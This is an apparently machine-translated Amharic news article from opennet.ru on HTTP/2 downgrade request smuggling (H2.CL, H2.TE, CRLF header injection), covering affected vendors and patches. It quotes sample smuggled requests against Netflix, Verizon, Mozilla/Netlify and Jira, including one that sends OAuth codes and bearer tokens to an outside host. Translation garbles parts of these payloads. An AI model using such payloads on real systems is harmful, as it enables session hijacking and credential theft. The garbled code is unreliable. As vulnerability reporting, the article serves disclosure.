የፊት ለፊቱ በኤችቲቲፒ/2 በኩል ግንኙነቶችን የሚቀበል እና በኤችቲቲፒ/1.1 በኩል ወደ ኋላ የሚያስተላልፍባቸው የድረ-ገጽ ስርዓቶች ለኤችቲቲፒ ጥያቄ ኮንትሮባንድ ጥቃት አዲስ ልዩነት ተጋልጠዋል፣ ይህም በልዩ ሁኔታ የተነደፉ የደንበኛ ጥያቄዎችን በመላክ ወደ ይዘቱ ለመግባት ያስችላል ከፊት እና ከኋላ መካከል በተመሳሳዩ ፍሰት ውስጥ የሚሰሩ የሌሎች ተጠቃሚዎች ጥያቄዎች። ጥቃቱ ተንኮል አዘል የጃቫ ስክሪፕት ኮድን ከህጋዊ ጣቢያ ጋር ወደ ክፍለ ጊዜ ለማስገባት፣ የመዳረሻ ቁጥጥር ስርዓቶችን ለማለፍ እና የማረጋገጫ መለኪያዎችን ለመጥለፍ ሊያገለግል ይችላል።
ችግሩ በዌብ ፕሮክሲዎች፣ ሎድ ሚዛኖች፣ የድር ማፍጠኛዎች፣ የይዘት ማቅረቢያ ስርዓቶች እና ሌሎች አወቃቀሮች በፊት-መጨረሻ-backend እቅድ መሰረት ጥያቄዎችን የሚመሩበትን ውቅሮች ይጎዳል። የጥናቱ ደራሲ በ Netflix, Verizon, Bitbucket, Netlify CDN እና Atlassian ላይ ስርዓቶችን የማጥቃት ችሎታ አሳይቷል, እና የተጋላጭነት ጉርሻ ፕሮግራሞችን 56 ዶላር ተቀብሏል. ችግሩ በF5 Networks ምርቶች ላይም ተረጋግጧል። በከፊል ጉዳዩ በ Apache http አገልጋይ (CVE-2021-33193) ውስጥ mod_proxy ላይ ተጽዕኖ ያሳድራል፣ ማስተካከያ በስሪት 2.4.49 ይጠበቃል (አዘጋጆቹ በግንቦት ወር መጀመሪያ ላይ ስለጉዳዩ ማሳወቂያ ተደርገዋል እና ለማስተካከል 3 ወራት ተቀብለዋል)። በ nginx ውስጥ የ"ይዘት-ርዝመት" እና "የማስተላለፍ-ኢንኮዲንግ" ራስጌዎችን በተመሳሳይ ጊዜ የመግለጽ ችሎታ በመጨረሻው ልቀት (1.21.1) ታግዷል። የማጥቃት መሳሪያዎች ቀድሞውኑ ወደ Burp Toolkit ተጨምረዋል እና እንደ Turbo Intruder ቅጥያ ይገኛሉ።
የአዲሱ የትራፊክ ጥያቄን የመቀየሪያ ዘዴ ከሁለት አመት በፊት በተመሳሳይ ተመራማሪ ከተገለጸው ተጋላጭነት ጋር ተመሳሳይ ነው፣ነገር ግን በ HTTP/1.1 በኩል ጥያቄዎችን በሚቀበሉ ግንባር ላይ ብቻ የተገደበ ነው። በግንባር-በስተጀርባ እቅድ ውስጥ የደንበኛ ጥያቄዎች ተጨማሪ መስቀለኛ መንገድ ይቀበላሉ - ፊት ለፊት ፣ ይህም ጥያቄዎችን በቀጥታ ከሚያከናውን ከኋላው ጋር የረጅም ጊዜ የ TCP ግንኙነትን ይመሰርታል ። በዚህ የጋራ ግንኙነት፣ ከተለያዩ ተጠቃሚዎች የሚቀርቡ ጥያቄዎች አብዛኛውን ጊዜ የሚተላለፉ ሲሆን እነዚህም ሰንሰለቱን አንድ በአንድ ይከተላሉ፣ በኤችቲቲፒ ፕሮቶኮል ይለያያሉ።
ክላሲክ "የኤችቲቲፒ ጥያቄ ማጭበርበር" ጥቃት የፊት ለፊት እና የኋላ ጀርባዎች የኤችቲቲፒ አርዕስቶችን "ይዘት-ርዝመት" (ጥያቄው ውስጥ ያለውን አጠቃላይ የውሂብ መጠን ይወስናል) እና "ትራንስፈር-ኢንኮዲንግ: የተጨማደደ" (የተቆራረጠ) (በመሆኑ እውነታ ላይ የተመሰረተ ነው). መረጃን በክፍሎች ማስተላለፍ ይፈቅዳል) በተለየ . ለምሳሌ የፊት ገፅ "የይዘት-ርዝመት"ን ብቻ የሚደግፍ ከሆነ ነገር ግን "Transfer-Encoding: chunked"ን ችላ ካለ አጥቂ ሁለቱም "የይዘት-ርዝመት" እና "የማስተላለፍ-ኢንኮዲንግ: የተቆራረጡ" ራስጌዎችን የያዘ ጥያቄ ሊልክ ይችላል ነገር ግን መጠኑ "የይዘት-ርዝመት" ነው ከተሰነጣጠለው ሰንሰለት መጠን ጋር አይዛመድም. በዚህ አጋጣሚ የፊት ግንባር ጥያቄውን በ"ይዘት-ርዝመት" መሰረት ያቀናጃል እና አቅጣጫውን ያዛውራል እና የጀርባው ክፍል "Transfer-Encoding: chunked" ላይ በመመስረት እገዳው እስኪጠናቀቅ ይጠብቃል እና የተቀረው የአጥቂው ጥያቄ ጅራት ይሆናል. በሚቀጥለው የተላለፈው የውጭ ጥያቄ መጀመሪያ ላይ.
በመስመር ደረጃ ከሚተነተነው HTTP/1.1 የጽሁፍ ፕሮቶኮል በተለየ፣ HTTP/2 ሁለትዮሽ ፕሮቶኮል ነው እና አስቀድሞ የተወሰነ መጠን ያላቸውን የውሂብ ብሎኮች ያንቀሳቅሳል። ሆኖም ኤችቲቲፒ/2 ከመደበኛ HTTP ራስጌዎች ጋር የሚዛመዱ አስመሳይ ራስጌዎችን ይጠቀማል። በኤችቲቲፒ/1.1 በኩል ከጀርባው ጋር በሚገናኙበት ጊዜ የፊት ገፅ እነዚህን የውሸት ራስጌዎች ወደ ተመሳሳይ HTTP/1.1 HTTP ራስጌዎች ይተረጉመዋል። ችግሩ የኋለኛው አካል የመጀመሪያውን ጥያቄ መለኪያዎችን ሳያውቅ በግንባሩ በተቀመጡት የኤችቲቲፒ አርዕስቶች ላይ በመመስረት ዥረቱን ስለመተንተን ውሳኔዎችን ያደርጋል።
በኤችቲቲፒ / 2 ውስጥ ጥቅም ላይ የማይውሉ ቢሆኑም በሐሰተኛ ራስጌዎች መልክ እሴቶቹ “የይዘት ርዝመት” እና “የማስተላለፍ ኢንኮዲንግ” ሊተላለፉ ይችላሉ ፣ ምንም እንኳን የሁሉም መረጃዎች መጠን የሚወሰነው በ ውስጥ ነው። የተለየ መስክ. ነገር ግን የኤችቲቲፒ/2 ጥያቄን ወደ HTTP/1.1 በመቀየር ሂደት ውስጥ እነዚህ ራስጌዎች ተወስደዋል እና የጀርባውን ግራ ሊያጋቡ ይችላሉ። ሁለት ዋና የጥቃት አማራጮች አሉ፡ H2.TE እና H2.CL፣ በፊተኛው በኩል የተቀበለውን የጥያቄ አካል ትክክለኛ መጠን ጋር በማይዛመድ የኋለኛው ክፍል የተሳሳተ የዝውውር ኢንኮዲንግ ወይም የይዘት ርዝማኔ የሚታለልባቸው ናቸው። HTTP/2 ፕሮቶኮል
እንደ የH2.CL ጥቃት ምሳሌ የኤችቲቲፒ/2 ጥያቄን ወደ Netflix ሲልክ የይዘት ርዝመት አስመሳይ ራስጌ ተበላሽቷል። ይህ ጥያቄ የጀርባውን በ HTTP/1.1 በኩል ሲደርሱ ተመሳሳይ የይዘት-ርዝመት HTTP አርዕስት እንዲጨምር ያደርጋል፣ ነገር ግን በይዘት-ርዝመቱ ውስጥ ያለው መጠን ከትክክለኛው መጠን ያነሰ ስለሆነ፣ አንዳንድ ጭራው ውስጥ ያለው መረጃ እንደ የሚቀጥለው ጥያቄ መጀመሪያ.
ለምሳሌ የኤችቲቲፒ/2 ጥያቄ፡ ዘዴ POST፡path /n :authority www.netflix.com የይዘት ርዝመት 4 abcdGET /n HTTP/1.1 አስተናጋጅ፡ 02.rs?x.netflix.com Foo:bar
ጥያቄን ለኋለኛው ሰው ይልካል፡ POST /n HTTP/1.1 አስተናጋጅ፡ www.netflix.com የይዘት ርዝመት፡ 4 abcdGET /n HTTP/1.1 አስተናጋጅ፡ 02.rs?x.netflix.com Foo: bar
የይዘት-ርዝመቱ ወደ 4 የተቀናበረ በመሆኑ የጀርባው አካል እንደ ጥያቄው አካል “abcd”ን ብቻ ይቀበላል፣ እና የተቀረውን “GET/n HTTP/1.1…”ን እንደ ቀጣዩ ጥያቄ መጀመሪያ ከሌላ ተጠቃሚ ጋር ይያዛል። በዚህ መሠረት, ዥረቱ የማይመሳሰል ይሆናል, እና ለሚቀጥለው ጥያቄ ምላሽ, የውሸት ጥያቄውን የማስኬድ ውጤት ይመለሳል. በኔትፍሊክስ ጉዳይ የሶስተኛ ወገን አስተናጋጅ በ"አስተናጋጅ:" ራስጌ በመጥቀስ ለደንበኛው "ቦታ: https://02.rs?x.netflix.com/n" ምላሽ አግኝቷል እና የተፈቀደ የዘፈቀደ ይዘት ለደንበኛው እንዲተላለፍ፣የእርስዎን ጃቫስክሪፕት ኮድ በኔትፍሊክስ ጣቢያ አውድ ውስጥ ማስፈጸምን ጨምሮ።
ሁለተኛው የጥቃቱ ልዩነት (H2.TE) ከ "Transfer-Encoding: chunked" ራስጌ ከመተካት ጋር የተያያዘ ነው. በኤችቲቲፒ/2 ውስጥ የማስተላለፍ ኢንኮዲንግ የውሸት ራስጌን መጠቀም በዝርዝሩ የተከለከለ ነው እና ከሱ ጋር ያሉ ጥያቄዎች ትክክል እንዳልሆኑ እንዲታዩ ታዝዘዋል። ይህ ሆኖ ሳለ፣ አንዳንድ የፊት ለፊት ትግበራዎች ይህንን መስፈርት ችላ ብለው በ HTTP/2 ውስጥ የማስተላለፍ ኢንኮዲንግ የውሸት ራስጌን መጠቀም ይፈቅዳሉ፣ ይህም ወደ ተመሳሳይ የኤችቲቲፒ አርዕስት ይተረጎማል። የ"Transfer-Encoding" ራስጌ ካለ፣ የኋለኛው አካል እንደ ቅድሚያ ወስዶ ውሂቡን በ"የተሰነጠቀ" ሁነታ ላይ ክፍሎችን በ"{size}\r\n{block} ቅርጸት በመጠቀም የተለያየ መጠን ያላቸውን ብሎኮች ሊተነተን ይችላል። \r\n{size} \r\n{ብሎክ}\r\n0" ምንም እንኳን በጠቅላላ መጠኑ የመጀመሪያ ክፍፍል ቢሆንም።
እንዲህ ዓይነቱ ክፍተት መኖሩ በቬሪዞን ምሳሌ ታይቷል. ነገር ግን ችግሩ የማረጋገጫ ፖርታል እና የይዘት አስተዳደር ስርዓትን ይመለከታል፣ይህም እንደ ሃፊንግተን ፖስት እና ኢንግዳጅት ባሉ ጣቢያዎች ጭምር ጥቅም ላይ ይውላል። ለምሳሌ የደንበኛ ጥያቄ በ HTTP/2:: ዘዴ POST:path /identitfy/XUI:authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 አስተናጋጅ: psres.net ይዘት-ርዝመት: 10 x=
ኤችቲቲፒ/1.1 ለመደገፍ ምክንያት ሆኗል፡ POST/identity/XUI HTTP/1.1 አስተናጋጅ፡ id.b2b.oath.com የይዘት ርዝመት፡ 66 የማስተላለፍ-ኢንኮዲንግ፡ ተሰንጥቆ 0 GET /oops HTTP/1.1 አስተናጋጅ፡ psres.net ይዘት- ርዝመት : 10x=
የኋለኛው ክፍል በበኩሉ የ"ይዘት-ርዝመት" ራስጌውን ችላ በማለት በ"Transfer-Encoding: chunked" ላይ በመመስረት በዥረቱ ውስጥ ክፍፍሉን አድርጓል። በተግባር ጥቃቱ የተጠቃሚ ጥያቄዎችን ወደ ድረ-ገጽ ማዞር ተችሏል፡ ከOAuth ማረጋገጫ ጋር የተገናኙ ጥያቄዎችን መጥለፍ፣ በማጣቀሻው ራስጌ ላይ የታዩት ግቤቶች፣ እንዲሁም የማረጋገጫ ክፍለ ጊዜን በማስመሰል እና በተጠቃሚው ምስክርነቶችን መላክን ጨምሮ። ስርዓት ለአጥቂው አስተናጋጅ. GET /b2blanding/show/oops HTTP/1.1 አስተናጋጅ፡ psres.net አጣቃሽ፡ https://id.b2b.oath.com/?…&code=ምስጢር GET / HTTP/1.1 አስተናጋጅ፡ psres.net ፍቃድ፡ ተሸካሚ eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik…
የኤችቲቲፒ/2 አተገባበርን ለማጥቃት የዝውውር ኢንኮዲንግ የውሸት ራስጌን መግለጽ የማይፈቅደው ሌላ ዘዴ ቀርቧል ይህም "ትራንስፈር-ኢንኮዲንግ" ራስጌን በአዲስ መስመር ቁምፊ ከተለዩ ሌሎች አስመሳይ ራስጌዎች ጋር በማያያዝ (ሲቀየር) መተካትን ያካትታል። በዚህ ጉዳይ ላይ ወደ HTTP/1.1, ሁለት የተለያዩ የኤችቲቲፒ ራስጌዎች ተፈጥረዋል).
ለምሳሌ አትላሲያን ጂራ እና ኔትሊፊ ሲዲኤን (በፋየርፎክስ ውስጥ የሞዚላ መነሻ ገጽን ለማገልገል ይጠቅማል) በዚህ ችግር ተጎድተዋል። በተለይም የኤችቲቲፒ/2 ጥያቄ፡ ዘዴ POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n አስተናጋጅ ክፉ-netlify-domain\r\n የይዘት-ርዝመት፡ 5\r\n \r\nx=
የኤችቲቲፒ/1.1 POST / HTTP/1.1 ጥያቄ ወደ ኋላ እንዲላክ አድርጓል\r\n አስተናጋጅ: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content- ርዝመት፡ 71 \ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n አስተናጋጅ: ክፉ-netlify-domain\r\n ይዘት-ርዝመት: 5\r\n \ r\nx=
የ"Transfer-Encoding" ራስጌን ለመተካት ሌላው አማራጭ ከሌላ የውሸት ራስጌ ስም ወይም ከሕብረቁምፊ ጋር ከጥያቄ ዘዴ ጋር ማያያዝ ነው። ለምሳሌ፣ አትላሲያን ጂራን ሲደርሱ፣ የውሸት ራስጌው ስም "foo: bar\r\ntransfer-encoding" ከ "የተሰነጠቀ" እሴት ጋር የኤችቲቲፒ አርዕስቶችን "foo: bar" እና "transfer-encoding" መጨመር አስከትሏል. : chunked፣ እና በpseudo-header ": method" በመጥቀስ የ"GET / HTTP/1.1\r\nTransfer-encoding: chunked" ወደ "GET / HTTP/1.1\r\ntransfer-encoding: chunked" ተተርጉሟል። .
ችግሩን የለዩት ተመራማሪው የፊት ግንባሮችን ለማጥቃት የጥያቄ መሿለኪያ ቴክኒኮችን አቅርበው ለእያንዳንዱ የአይፒ አድራሻ የተለየ ግንኙነት ከጀርባው ጋር የሚፈጠር እና የተለያዩ ተጠቃሚዎች ትራፊክ ያልተቀላጠፈ ነው። የታቀደው ቴክኒክ በሌሎች ተጠቃሚዎች ጥያቄዎች ውስጥ ጣልቃ እንዲገቡ አይፈቅድልዎትም ፣ ግን የተጋራውን መሸጎጫ መርዝ ያስችለዋል ፣ ይህም የሌሎች ጥያቄዎችን ሂደት ይነካል ፣ እና የአገልግሎት መረጃን ለማስተላለፍ የሚያገለግሉትን የኤችቲቲፒ ራስጌዎችን ለመተካት ያስችልዎታል ። የፊት ለፊቱ ከኋላ (ለምሳሌ ፣ እንደዚህ ባሉ ራስጌዎች ውስጥ በግንባር በኩል በኩል ሲረጋገጥ ስለአሁኑ ተጠቃሚ መረጃ ወደ ኋላ መላክ ይችላል)። የአሰራር ዘዴው አተገባበር እንደ ምሳሌ በመሸጎጫ መርዝ በመጠቀም በ Bitbucket አገልግሎት ውስጥ ገፆችን መቆጣጠር ተችሏል።
ምንጭ: opennet.ru